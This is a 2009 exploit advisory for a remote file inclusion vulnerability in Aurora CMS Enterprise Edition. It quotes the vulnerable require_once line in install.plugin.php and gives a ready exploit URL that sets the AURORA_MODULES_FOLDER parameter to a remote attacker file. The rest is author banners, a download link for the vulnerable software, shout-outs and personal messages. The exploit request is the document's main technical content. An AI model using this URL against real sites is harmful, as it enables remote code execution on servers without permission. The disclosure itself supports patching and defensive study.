--------------------------------------------------------------------------------------------------------------- Aurora Content Management System (Enterprise Edition) [install.plugin.php] <= Remote File Include Vulnerability --------------------------------------------------------------------------------------------------------------- ********************************************************************************************************************************** * [+] Author : EA Ngel * * [+] Situs : www[dot]manadocoding[dot]net * * [+] Location : Indonesia * * [+] Contact : engelpemula[at]gmail[dot]com * * [+] Download script : http://biznetnetworks.dl.sourceforge.net/project/cronos/aurora/aurora_1.0.2/AURORA_1.0.2_stable.tar.gz * * * * ********************************************************************************************************************************** a. Dork : kreasikan otak-mu :) b. Bug : - install.plugin.php - global $AURORA_MODULES_FOLDER; require_once $AURORA_MODULES_FOLDER.'/install/classes/install.class.php'; [@] Exploit : http://localhost/[path]/public_html/add-ons/modules/sysmanager/plugins/install.plugin.php?AURORA_MODULES_FOLDER=[moonlee.txt?] [#] Special Thanks : str0ke - manadocoding : basix, cr4wl3r, Mr.C, cokiki, bl4ck_3n91n3, tonaas, night_prophet, blue_eye, angky_tatoki g4pt3k, michel_taung, doniskynet, rezagmas, Mr.Crossbeam, bolodewo and friend's - Sekuritionline : cyberlog, k1n9k0ng, fl3xu5, exnome, dbanie, d4rkz, setiawan, kujang_lapuk, jantap, k3nz0 and friend's - lain-lain : akiko, steve_san, steve_diving, b0b0h0, yadiyauri, ipay, nTc, chawanua, S4NT4, my_wishdom alan_sarante, jajack, chrezz, wendyz, wishnu, kiddies, anjaz chux, is-mail, is-blank, P2, C6, missi, mizz, hygao, b1beh^p1nk, tasya, san-san and friend's [/] Note : NOW FAITH is the assurance (the confirmation, the title deed) of the things [we] hope for, being the proof of things [we] do not see and the conviction of their reality [faith perceiving as real fact what is not revealed to the senses]. =================================================================================================================================== = 13 September 2009 > Monalisa happy b'day!! may add up in everything, always close to God and wish u all the best. Jesus bless u = ===================================================================================================================================